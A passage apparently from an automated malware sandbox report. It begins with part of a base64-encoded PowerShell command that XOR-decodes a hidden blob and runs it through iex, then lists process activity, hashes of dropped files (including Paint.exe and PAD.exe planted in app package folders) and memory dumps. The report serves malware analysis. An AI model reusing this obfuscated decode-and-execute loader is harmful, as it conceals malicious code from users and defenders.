IAUABnAHAAUgBkAEEAcABQAGMAUgBCAFYAZgBUAE0AUQBGAEIAQgBzAGIAeABsAGQAVwBSAHMAbgBmAFIAdwBFAEEARQA1AFUAYgB4AHAAUQBkAFEAcwBuAGMAeABwAHcAWgBrADEAdgBiAHkATgBIAFgAQgBzAGsATQBnAD0APQAnADsAJABsAGYAbAByAD0AJwA4AFgAZQBKAFUAQwBWAHoANQA3AEsANwAnADsAJAByAGoAawBhAG8AbgBlAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHcAaQBwAHoAYwBwACkAOwAkAGoAagB2AG8AeQA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJAByAGoAawBhAG8AbgBlAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAHIAagBrAGEAbwBuAGUAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJABsAGYAbAByAFsAJABpACUAJABsAGYAbAByAC4ATABlAG4AZwB0AGgAXQB9ACkAKQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGoAagB2AG8AeQApACkAfABpAGUAeAA=
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:6056

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 3dfa24eadb59990efaa14de2b904b2be69762768dc33c92aeb636810937e6ba0
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 eeca49f740c746bc6b274cc683414565f6ac67fb4fa9e4c677896696d5e05dbe
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 0c0236308733cd437634732f61af1affd87d2d91e3c6a64130109a95b7ddb1b1
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 df5de984121ab9eb702c2ef1c0716750e770551b5a5551fee347941d5bdfab01
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 dc2947e3bcf8d52e027b9e9fdd90ae15687bc3bb0375d8c2633000f0d8b827f0
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            Paint.exe
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Paint_4wekybc68bbwe\data\Paint.exe
            • Size 4.6MB
            • SHA256 793a18d5f529b2b897d8368f4725670b0ec8268b4b175f17a82ed187556cca4f
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            Paint.exe:18
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Paint_4wekybc68bbwe\data\Paint.exe:18
            • Size 1B
            • SHA256 6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d
            • MD5 SHA1 SHA512
            Submit Download

            PAD.exe
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_2wekybb38bbwe\confdc\PAD.exe
            • Size 3.6MB
            • SHA256 ab53b592fbaf9ca246003ba95a0234cfb5539d5790776174dfbca6c0a3f73037
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download

            __PSScriptPolicyTest_jiqfaolk.m1d.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jiqfaolk.m1d.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/1196-44-0x00000241DFE70000-0x00000241DFE8E000-memory.dmp
            Download

            memory/1196-46-0x00000241DFE60000-0x00000241DFE6A000-memory.dmp
            Download

            memory/1196-45-0x00000241DFE90000-0x00000241DFF42000-memory.dmp
            Download

            memory/1772-25-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-30-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-41-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-26-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-27-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-28-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-29-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-33-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-31-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-32-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-9-0x00007FFF27A3F000-0x00007FFF27A40000-memory.dmp
            Download

            memory/1772-10-0x000002907E540000-0x000002907E562000-memory.dmp
            Download

            memory/1772-13-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-24-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1772-14-0x00007FFF278B0000-0x00007FFF28254000-memory.dmp
            Download

            memory/1944-75-0x00000109EDC60000-0x00000109EDC7E000-memory.dmp
            Download

            memory/4428-7-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-3-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-4-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-83-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-2-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-8-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-5-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-6-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-0-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-1-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4428-61-0x00007FF69B8E0000-0x00007FF69BC75000-memory.dmp
            Download

            memory/4428-125-0x00007FF69B8E0000-0x00007FF69BC75000-memory.dmp
            Download

            memory/4764-22-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-69-0x00007FF6D8DF0000-0x00007FF6D9185000-memory.dmp
            Download

            memory/4764-19-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-17-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-18-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-91-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-20-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-16-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-34-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-21-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-109-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-112-0x0000000140000000-0x0000000140356000-memory.dmp
            Download

            memory/4764-111-0x00007FF6D8DF0000-0x00007FF6D9185000-memory.dmp
            Download

            memory/4764-23-0x0000000140000000-0x0000000140356000-memory.dmp
            Download